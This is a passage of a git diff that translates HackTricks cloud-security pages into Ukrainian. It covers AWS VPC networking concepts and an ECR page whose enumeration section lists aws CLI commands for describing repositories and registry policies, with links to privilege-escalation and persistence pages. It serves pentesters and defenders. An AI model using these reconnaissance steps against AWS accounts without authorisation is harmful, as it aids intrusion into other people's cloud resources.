маршрутизації** та **мережевим ACL**). -This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**. +Ця мережа VPC поділяється на **підмережі**, тому **підмережа** безпосередньо **пов'язана** з **VPC**, **таблицею маршрутизації** та **мережевим ACL**. -Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**. +Потім, **мережеві інтерфейси**, прикріплені до сервісів (як EC2 екземпляри), **підключені** до **підмереж** з **групами безпеки**. -Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**. +Отже, **група безпеки** обмежить відкриті порти мережевих **інтерфейсів, що її використовують**, **незалежно від підмережі**. А **мережевий ACL** **обмежить** відкриті порти для **всіх мереж**. -Moreover, in order to **access Internet**, there are some interesting configurations to check: +Більше того, для **доступу до Інтернету** є кілька цікавих конфігурацій, які слід перевірити: -- A **subnetwork** can **auto-assign public IPv4 addresses** -- An **instance** created in the network that **auto-assign IPv4 addresses can get one** -- An **Internet gateway** need to be **attached** to the **VPC** - - You could also use **Egress-only internet gateways** -- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. - - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- **Підмережа** може **автоматично призначати публічні IPv4 адреси** +- **Екземпляр**, створений у мережі, що **автоматично призначає IPv4 адреси, може отримати одну** +- **Шлюз Інтернету** потрібно **прикріпити** до **VPC** +- Ви також можете використовувати **Шлюзи Інтернету тільки для виходу** +- Ви також можете мати **NAT шлюз** у **приватній підмережі**, щоб було можливим **підключення до зовнішніх сервісів** з цієї приватної підмережі, але **неможливо досягти їх ззовні**. +- NAT шлюз може бути **публічним** (доступ до Інтернету) або **приватним** (доступ до інших VPC) ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resources into a virtual network** that you've defined. This virtual network will have several subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs... +Amazon **Віртуальна Приватна Хмара** (Amazon VPC) дозволяє вам **запускати ресурси AWS у віртуальній мережі**, яку ви визначили. Ця віртуальна мережа матиме кілька підмереж, шлюзи Інтернету для доступу до Інтернету, ACL, групи безпеки, IP... -### Subnets +### Підмережі -Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure. +Підмережі допомагають забезпечити вищий рівень безпеки. **Логічна група подібних ресурсів** також допомагає вам підтримувати **зручність управління** у вашій інфраструктурі. -- Valid CIDR are from a /16 netmask to a /28 netmask. -- A subnet cannot be in different availability zones at the same time. -- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. -- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** +- Дійсні CIDR від /16 до /28. +- Підмережа не може бути в різних зонах доступності одночасно. +- **AWS резервує перші три IP адреси хостів** кожної підмережі **для** **внутрішнього використання AWS**: перша адреса хоста використовується для маршрутизатора VPC. Друга адреса зарезервована для AWS DNS, а третя адреса зарезервована для майбутнього використання. +- Підмережі, які мають **прямий доступ до Інтернету, називаються** **публічними підмережами**, тоді як приватні підмережі - ні.
-### Route Tables +### Таблиці маршрутизації -Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the: +Таблиці маршрутизації визначають маршрутизацію трафіку для підмережі в VPC. Вони визначають, який мережевий трафік пересилається в Інтернет або до VPN з'єднання. Ви зазвичай знайдете доступ до: -- Local VPC +- Локального VPC - NAT -- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). - - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. -- VPC endpoints (to access S3 from private networks) +- Шлюзів Інтернету / Шлюзів Інтернету тільки для виходу (необхідні для надання VPC доступу до Інтернету). +- Щоб зробити підмережу публічною, вам потрібно **створити** та **прикріпити** **шлюз Інтернету** до вашого VPC. +- Точки доступу VPC (для доступу до S3 з приватних мереж) -In the following images you can check the differences in a default public network and a private one: +На наступних зображеннях ви можете перевірити різницю між типовою публічною мережею та приватною:
-### ACLs +### ACL -**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges. +**Списки контролю доступу до мережі (ACL)**: Мережеві ACL - це правила брандмауера, які контролюють вхідний та вихідний мережевий трафік до підмережі. Вони можуть використовуватися для дозволу або заборони трафіку до конкретних IP адрес або діапазонів. -- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections -- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed +- Найчастіше доступ дозволяється/забороняється за допомогою груп безпеки, але це єдиний спосіб повністю розірвати встановлені зворотні оболонки. Змінене правило в групах безпеки не зупиняє вже встановлені з'єднання. +- Однак це стосується всієї підмережі, будьте обережні, забороняючи речі, оскільки необхідна функціональність може бути порушена. -### Security Groups +### Групи безпеки -Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\ -Usually this is used to open dangerous ports in instances, such as port 22 for example: +Групи безпеки - це віртуальний **брандмауер**, який контролює вхідний та вихідний мережевий **трафік до екземплярів** у VPC. Відношення 1 SG до M екземплярів (зазвичай 1 до 1).\ +Зазвичай це використовується для відкриття небезпечних портів в екземплярах, таких як порт 22, наприклад:
-### Elastic IP Addresses +### Еластичні IP адреси -An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account. +_Еластична IP адреса_ - це **статична IPv4 адреса**, призначена для динамічного хмарного обчислення. Еластична IP адреса виділяється вашому обліковому запису AWS і залишається за вами, поки ви її не звільните. Використовуючи еластичну IP адресу, ви можете маскувати збій екземпляра або програмного забезпечення, швидко перенаправляючи адресу на інший екземпляр у вашому обліковому записі. -### Connection between subnets +### З'єднання між підмережами -By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on. +За замовчуванням усі підмережі мають **автоматичне призначення публічних IP адрес вимкнене**, але його можна увімкнути. -**A local route within a route table enables communication between VPC subnets.** +**Локальний маршрут у таблиці маршрутизації дозволяє зв'язок між підмережами VPC.** -If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. +Якщо ви **з'єднуєте підмережу з іншою підмережею, ви не можете отримати доступ до підмереж, підключених до іншої підмережі, вам потрібно створити з'єднання з ними безпосередньо.** **Це також стосується шлюзів Інтернету.** Ви не можете пройти через з'єднання підмережі, щоб отримати доступ до Інтернету, вам потрібно призначити шлюз Інтернету своїй підмережі. ### VPC Peering -VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. +VPC peering дозволяє вам **підключити дві або більше VPC разом**, використовуючи IPV4 або IPV6, так, ніби вони є частиною однієї мережі. -Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ -If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ -Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** +Якщо з'єднання з піром встановлено, **ресурси в одній VPC можуть отримати доступ до ресурсів в іншій**. З'єднання між VPC реалізується через існуючу інфраструктуру мережі AWS, тому воно є високодоступним без вузьких місць у пропускній здатності. Оскільки **з'єднання з піром працюють так, ніби вони є частиною однієї мережі**, існують обмеження щодо діапазонів ваших CIDR, які можуть бути використані.\ +Якщо у вас є **перекриваючі або дубльовані CIDR** діапазони для вашого VPC, то **ви не зможете з'єднати VPC** разом.\ +Кожен AWS VPC **спілкуватиметься лише зі своїм піром**. Наприклад, якщо у вас є з'єднання з піром між VPC 1 і VPC 2, і ще одне з'єднання між VPC 2 і VPC 3, як показано, тоді VPC 1 і 2 можуть спілкуватися один з одним безпосередньо, як і VPC 2 і VPC 3, однак VPC 1 і VPC 3 не можуть. **Ви не можете маршрутизувати через один VPC, щоб дістатися до іншого.** ### **VPC Flow Logs** -Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**. +У вашому VPC ви можете мати потенційно сотні або навіть тисячі ресурсів, які спілкуються між різними підмережами, як публічними, так і приватними, а також між різними VPC через з'єднання VPC peering. **VPC Flow Logs дозволяють вам захоплювати інформацію про IP трафік, що проходить між мережевими інтерфейсами ваших ресурсів у вашому VPC**. -Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**. +На відміну від журналів доступу S3 та журналів доступу CloudFront, **дані журналів, згенеровані VPC Flow Logs, не зберігаються в S3. Натомість захоплені дані журналів надсилаються до журналів CloudWatch**. -Limitations: +Обмеження: -- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account. -- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces -- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one. -- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server. -- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service. -- Traffic relating to an Amazon Windows activation license from a Windows instance -- Traffic between a network load balancer interface and an endpoint network interface +- Якщо ви використовуєте з'єднання VPC peering, ви зможете бачити лише журнали потоку пірних VPC, які знаходяться в одному обліковому записі. +- Якщо ви все ще використовуєте ресурси в середовищі EC2-Classic, на жаль, ви не зможете отримати інформацію з їх інтерфейсів. +- Після створення журналу потоку VPC його не можна змінити. Щоб змінити конфігурацію журналу потоку VPC, вам потрібно видалити його, а потім створити новий. +- Наступний трафік не контролюється та не захоплюється журналами. DHCP трафік у VPC, трафік від екземплярів, призначений для сервера DNS Amazon. +- Будь-який трафік, призначений для IP адреси маршрутизатора за замовчуванням VPC, та трафік до і з наступних адрес, 169.254.169.254, який використовується для збору метаданих екземпляра, та 169.254.169.123, який використовується для служби синхронізації часу Amazon. +- Трафік, пов'язаний з ліцензією активації Windows Amazon з Windows екземпляра. +- Трафік між інтерфейсом навантажувального балансувальника мережі та інтерфейсом мережевої точки доступу. -For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**. +Для кожного мережевого інтерфейсу, який публікує дані в групу журналів CloudWatch, буде використовуватися різний потік журналів. І в кожному з цих потоків будуть дані подій журналу потоку, які показують вміст записів журналу. Кожен з цих **журналів захоплює дані протягом приблизно 10 до 15 хвилин**. ## VPN -### Basic AWS VPN Components +### Основні компоненти AWS VPN -1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. -2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. -3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. -4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +1. **Шлюз клієнта**: +- Шлюз клієнта - це ресурс, який ви створюєте в AWS, щоб представляти вашу сторону з'єднання VPN. +- Це, по суті, фізичний пристрій або програмне забезпечення на вашій стороні з'єднання Site-to-Site VPN. +- Ви надаєте інформацію про маршрутизацію та публічну IP адресу вашого мережевого пристрою (такого як маршрутизатор або брандмауер) AWS для створення шлюзу клієнта. +- Він слугує точкою посилання для налаштування з'єднання VPN і не підлягає додатковим витратам. +2. **Віртуальний приватний шлюз**: +- Віртуальний приватний шлюз (VPG) - це концентратор VPN на стороні Amazon з'єднання Site-to-Site VPN. +- Він прикріплений до вашого VPC і слугує ціллю для вашого з'єднання VPN. +- VPG - це кінцева точка AWS для з'єднання VPN. +- Він обробляє безпечну комунікацію між вашим VPC та вашою локальною мережею. +3. **З'єднання Site-to-Site VPN**: +- З'єднання Site-to-Site VPN з'єднує вашу локальну мережу з VPC через безпечний IPsec VPN тунель. +- Цей тип з'єднання вимагає шлюз клієнта та віртуальний приватний шлюз. +- Використовується для безпечної, стабільної та постійної комунікації між вашим центром обробки даних або мережею та вашим середовищем AWS. +- Зазвичай використовується для регулярних, довгострокових з'єднань і оплачується на основі обсягу даних, переданих через з'єднання. +4. **Клієнтський VPN кінцевий пункт**: +- Клієнтський VPN кінцевий пункт - це ресурс, який ви створюєте в AWS для активації та управління сесіями клієнтського VPN. +- Використовується для дозволу окремим пристроям (таким як ноутбуки, смартфони тощо) безпечно підключатися до ресурсів AWS або вашої локальної мережі. +- Відрізняється від Site-to-Site VPN тим, що призначений для окремих клієнтів, а не для підключення цілих мереж. +- З клієнтським VPN кожен клієнтський пристрій використовує програмне забезпечення VPN-клієнта для встановлення безпечного з'єднання. ### Site-to-Site VPN -**Connect your on premisses network with your VPC.** +**Підключіть вашу локальну мережу до вашого VPC.** -- **VPN connection**: A secure connection between your on-premises equipment and your VPCs. -- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. +- **З'єднання VPN**: Безпечне з'єднання між вашим обладнанням на місці та вашими VPC. +- **Тунель VPN**: Зашифрований зв'язок, через який дані можуть проходити з мережі клієнта до AWS або з AWS. - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +Кожне з'єднання VPN включає два тунелі VPN, які ви можете одночасно використовувати для високої доступності. -- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. -- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. -- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. -- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. +- **Шлюз клієнта**: Ресурс AWS, який надає інформацію AWS про ваш пристрій шлюзу клієнта. +- **Пристрій шлюзу клієнта**: Фізичний пристрій або програмне забезпечення на вашій стороні з'єднання Site-to-Site VPN. +- **Віртуальний приватний шлюз**: Концентратор VPN на стороні Amazon з'єднання Site-to-Site VPN. Ви використовуєте віртуальний приватний шлюз або транзитний шлюз як шлюз для сторони Amazon з'єднання Site-to-Site VPN. +- **Транзитний шлюз**: Транзитний хаб, який можна використовувати для з'єднання ваших VPC та локальних мереж. Ви використовуєте транзитний шлюз або віртуальний приватний шлюз як шлюз для сторони Amazon з'єднання Site-to-Site VPN. -#### Limitations +#### Обмеження -- IPv6 traffic is not supported for VPN connections on a virtual private gateway. -- An AWS VPN connection does not support Path MTU Discovery. +- Трафік IPv6 не підтримується для з'єднань VPN на віртуальному приватному шлюзі. +- З'єднання AWS VPN не підтримує виявлення Path MTU. -In addition, take the following into consideration when you use Site-to-Site VPN. +Крім того, врахуйте наступне, коли ви використовуєте Site-to-Site VPN. -- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. +- При підключенні ваших VPC до загальної локальної мережі ми рекомендуємо використовувати неперекриваючі CIDR блоки для ваших мереж. -### Client VPN +### Клієнтський VPN -**Connect from your machine to your VPC** +**Підключіться з вашого пристрою до вашого VPC** -#### Concepts +#### Концепції -- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. -- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. -- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. -- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. -- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. -- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. -- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. -- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. -- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. -- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. +- **Клієнтський VPN кінцевий пункт:** Ресурс, який ви створюєте та налаштовуєте для активації та управління сесіями клієнтського VPN. Це ресурс, де завершуються всі сесії клієнтського VPN. +- **Цільова мережа:** Цільова мережа - це мережа, яку ви асоціюєте з кінцевим пунктом клієнтського VPN. **Підмережа з VPC є цільовою мережею**. Асоціювання підмережі з кінцевим пунктом клієнтського VPN дозволяє вам встановлювати сесії VPN. Ви можете асоціювати кілька підмереж з кінцевим пунктом клієнтського VPN для високої доступності. Усі підмережі повинні бути з одного VPC. Кожна підмережа повинна належати до різної зони доступності. +- **Маршрут**: Кожен кінцевий пункт клієнтського VPN має таблицю маршрутів, яка описує доступні маршрути до мережі призначення. Кожен маршрут у таблиці маршрутів вказує шлях для трафіку до конкретних ресурсів або мереж. +- **Правила авторизації:** Правило авторизації **обмежує користувачів, які можуть отримати доступ до мережі**. Для вказаної мережі ви налаштовуєте групу Active Directory або постачальника ідентичності (IdP), якій дозволено доступ. Тільки користувачі, що належать до цієї групи, можуть отримати доступ до вказаної мережі. **За замовчуванням немає правил авторизації**, і вам потрібно налаштувати правила авторизації, щоб дозволити користувачам отримувати доступ до ресурсів і мереж. +- **Клієнт:** Кінцевий користувач, який підключається до кінцевого пункту клієнтського VPN для встановлення сесії VPN. Кінцеві користувачі повинні завантажити клієнт OpenVPN і використовувати файл конфігурації клієнтського VPN, який ви створили, для встановлення сесії VPN. +- **Діапазон CIDR клієнта:** Діапазон IP адрес, з якого призначаються IP адреси клієнтів. Кожне з'єднання з кінцевим пунктом клієнтського VPN отримує унікальну IP адресу з діапазону CIDR клієнта. Ви вибираєте діапазон CIDR клієнта, наприклад, `10.2.0.0/16`. +- **Порти клієнтського VPN:** AWS Client VPN підтримує порти 443 і 1194 для TCP та UDP. За замовчуванням використовується порт 443. +- **Мережеві інтерфейси клієнтського VPN:** Коли ви асоціюєте підмережу з вашим кінцевим пунктом клієнтського VPN, ми створюємо мережеві інтерфейси клієнтського VPN у цій підмережі. **Трафік, що надсилається до VPC з кінцевого пункту клієнтського VPN, надсилається через мережевий інтерфейс клієнтського VPN**. Потім застосовується трансляція адреси джерела мережі (SNAT), де IP адреса джерела з діапазону CIDR клієнта транслюється на IP адресу мережевого інтерфейсу клієнтського VPN. +- **Журнал з'єднань:** Ви можете увімкнути журнал з'єднань для вашого кінцевого пункту клієнтського VPN, щоб реєструвати події з'єднання. Ви можете використовувати цю інформацію для проведення судово-медичних експертиз, аналізу того, як використовується ваш кінцевий пункт клієнтського VPN, або для налагодження проблем з'єднання. +- **Портал самообслуговування:** Ви можете увімкнути портал самообслуговування для вашого кінцевого пункту клієнтського VPN. Клієнти можуть увійти в веб-портал, використовуючи свої облікові дані, і завантажити останню версію файлу конфігурації кінцевого пункту клієнтського VPN або останню версію клієнта, наданого AWS. -#### Limitations +#### Обмеження -- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. -- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** -- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. -- The **client CIDR range cannot be changed** after you create the Client VPN endpoint. -- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**. -- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**. -- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**. -- Client VPN supports **IPv4** traffic only. -- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. -- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. +- **Діапазони CIDR клієнта не можуть перекриватися з локальним CIDR** VPC, в якому знаходиться асоційована підмережа, або будь-якими маршрутами, які вручну додані до таблиці маршрутів кінцевого пункту клієнтського VPN. +- Діапазони CIDR клієнта повинні мати розмір блоку **не менше /22** і **не більше /12.** +- **Частина адрес** у діапазоні CIDR клієнта використовується для **підтримки моделі доступності** кінцевого пункту клієнтського VPN і не може бути призначена клієнтам. Тому ми рекомендуємо вам **призначити блок CIDR, який містить удвічі більше IP адрес, ніж потрібно** для забезпечення максимальної кількості одночасних з'єднань, які ви плануєте підтримувати на кінцевому пункті клієнтського VPN. +- **Діапазон CIDR клієнта не може бути змінений** після створення кінцевого пункту клієнтського VPN. +- **Підмережі**, асоційовані з кінцевим пунктом клієнтського VPN, **повинні бути в одному VPC**. +- Ви **не можете асоціювати кілька підмереж з однієї зони доступності з кінцевим пунктом клієнтського VPN**. +- Кінцевий пункт клієнтського VPN **не підтримує асоціації підмереж у VPC з виділеним орендою**. +- Клієнтський VPN підтримує **тільки** трафік IPv4. +- Клієнтський VPN **не** відповідає стандартам обробки інформації федерального рівня (**FIPS**). +- Якщо багатофакторна аутентифікація (MFA) вимкнена для вашої Active Directory, пароль користувача не може бути у наступному форматі. - ``` - SCRV1:: - ``` +``` +SCRV1:: +``` -- The self-service portal is **not available for clients that authenticate using mutual authentication**. +- Портал самообслуговування **не доступний для клієнтів, які аутентифікуються за допомогою взаємної аутентифікації**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9025829b4..e88c05dea 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -6,49 +6,48 @@ ### ECR -#### Basic Information +#### Основна інформація -Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images. +Amazon **Elastic Container Registry** (Amazon ECR) є **керованим сервісом реєстрації контейнерних зображень**. Він призначений для забезпечення середовища, в якому клієнти можуть взаємодіяти зі своїми контейнерними зображеннями, використовуючи відомі інтерфейси. Зокрема, підтримується використання Docker CLI або будь-якого іншого улюбленого клієнта, що дозволяє виконувати такі дії, як завантаження, вивантаження та управління контейнерними зображеннями. -ECR is compose by 2 types of objects: **Registries** and **Repositories**. +ECR складається з 2 типів об'єктів: **Реєстрації** та **Репозиторії**. -**Registries** +**Реєстрації** -Every AWS account has 2 registries: **Private** & **Public**. +Кожен обліковий запис AWS має 2 реєстрації: **Приватні** та **Публічні**. -1. **Private Registries**: +1. **Приватні реєстрації**: -- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission. - - The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/` -- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles. -- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS... -- **Other private registry options**: - - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images. - - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions. - - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**. - - Specific **IAM policies** can be configured to grant different **permissions**. - - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo. +- **Приватні за замовчуванням**: Контейнерні зображення, збережені в приватній реєстрації Amazon ECR, **доступні лише авторизованим користувачам** у вашому обліковому записі AWS або тим, кому надано дозвіл. +- URI **приватного репозиторію** має формат `.dkr.ecr..amazonaws.com/` +- **Контроль доступу**: Ви можете **контролювати доступ** до своїх приватних контейнерних зображень, використовуючи **IAM політики**, і ви можете налаштувати детальні дозволи на основі користувачів або ролей. +- **Інтеграція з сервісами AWS**: Приватні реєстрації Amazon ECR можуть бути легко **інтегровані з іншими сервісами AWS**, такими як EKS, ECS... +- **Інші варіанти приватної реєстрації**: +- Стовпець незмінності тегів вказує на його статус, якщо незмінність тегів увімкнена, це **запобігатиме** завантаженню зображень з **існуючими тегами**. +- Стовпець **Тип шифрування** вказує на властивості шифрування репозиторію, він показує типи шифрування за замовчуванням, такі як AES-256, або має **KMS** увімкнене шифрування. +- Стовпець **Кеш для витягування** вказує на його статус, якщо статус кешу для витягування активний, він буде кешувати **репозиторії в зовнішньому публічному репозиторії у вашому приватному репозиторії**. +- Специфічні **IAM політики** можуть бути налаштовані для надання різних **дозволів**. +- **Конфігурація сканування** дозволяє сканувати на вразливості в зображеннях, збережених у репозиторії. -2. **Public Registries**: +2. **Публічні реєстрації**: -- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.** - - The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember. +- **Публічна доступність**: Контейнерні зображення, збережені в публічній реєстрації ECR, **доступні будь-кому в Інтернеті без аутентифікації.** +- URI **публічного репозиторію** виглядає як `public.ecr.aws//`. Хоча частину `` адміністратор може змінити на інший рядок, який легше запам'ятати. -**Repositories** +**Репозиторії** -These are the **images** that in the **private registry** or to the **public** one. +Це **зображення**, які знаходяться в **приватній реєстрації** або в **публічній**. > [!NOTE] -> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**. +> Зверніть увагу, що для завантаження зображення в репозиторій, **репозиторій ECR повинен мати таку ж назву, як і зображення**. -#### Registry & Repository Policies +#### Політики реєстрації та репозиторію -**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image: +**Реєстрації та репозиторії** також мають **політики, які можна використовувати для надання дозволів іншим принципалам/обліковим записам**. Наприклад, у наступній політиці репозиторію ви можете побачити, як будь-який користувач з усієї організації зможе отримати доступ до зображення:
-#### Enumeration - +#### Перерахування ```bash # Get repos aws ecr describe-repositories @@ -68,39 +67,34 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` - -#### Unauthenticated Enum +#### Неавтентифіковане перерахування {{#ref}} ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### Privesc +#### Підвищення привілеїв -In the following page you can check how to **abuse ECR permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами ECR для підвищення привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### Post Exploitation +#### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### Persistence +#### Стійкість {{#ref}} ../aws-persistence/aws-ecr-persistence.md {{#endref}} -## References +## Посилання - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md 